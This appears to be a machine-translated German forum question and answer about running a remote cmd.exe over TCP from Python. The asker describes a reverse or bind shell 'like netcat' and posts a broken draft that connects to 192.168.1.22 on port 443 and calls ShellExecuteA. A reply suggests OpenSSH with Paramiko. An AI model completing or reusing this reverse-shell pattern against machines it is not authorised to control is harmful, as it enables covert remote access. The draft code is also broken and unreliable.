Ich habe eine Frage über das Ausführen von Windows-API über TCP/IP-Protokoll. Zum Beispiel, ich möchte remote Maschine cmd.exe auf andere Maschine bringen (wie Netcat, cmd.exe über TCP/IP vollständig simuliert). Ich suchte online nach Python, konnte aber nichts hilfreiches finden. Ich kann dies mit Unterprozess- und anderen Python-Funktionen tun, aber es fehlt das Problem mit der Benutzeroberfläche. Ich habe diese Art von Code:Python Shellexecu Windows API mit Ctypes über TCP/IP
import socket
import subprocess
import ctypes
HOST = '192.168.1.22'
PORT = 443
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
while 1:
#send initial cmd.exe banner to remote machine
s.send(ctypes.windll.Shell32.ShellExecuteA(None,"open","cmd.exe",None,None,0))
#accept user input
data = s.recv(1024)
#pass it again to Shellexecute api to execute and return output to remote machine, fully simulating original CMD over TCP/IP
s.close()
Schauen Sie sich zu diesem Bild: Running CMD over TCP/IP using NetCat tool
Ich möchte CMD über Netzwerkverbindung ausführen. Wie umgekehrt oder bind cmd shell. Nach erfolgreicher Verbindung muss einer der Computer die Kontrolle über cmd.exe übernehmen, die zu anderen gehört. Ich möchte Skript simulieren schreiben interaktiv cmd.exe gehört zu anderen Computer über Netzwerkverbindung. Wahrscheinlich, mit Windows Apis wie shellexecute über Netzwerk ist Lösung, aber ich bin Python-Neuling und kann es nicht für mich selbst schreiben :) – Abdulla
hum ..., verbindet SSH mit Windows und die Verwendung der Cmd als "Standard" -Shell ist eine Option für Ihren Fall? https://winscp.net/eng/docs/guide_windows_openssh_server Sie könnten danach die Paramiko-Bibliothek von Python verwenden :) http://jessenoller.com/blog/2009/02/05/ssh-programming-with -paramiko-ganz anders –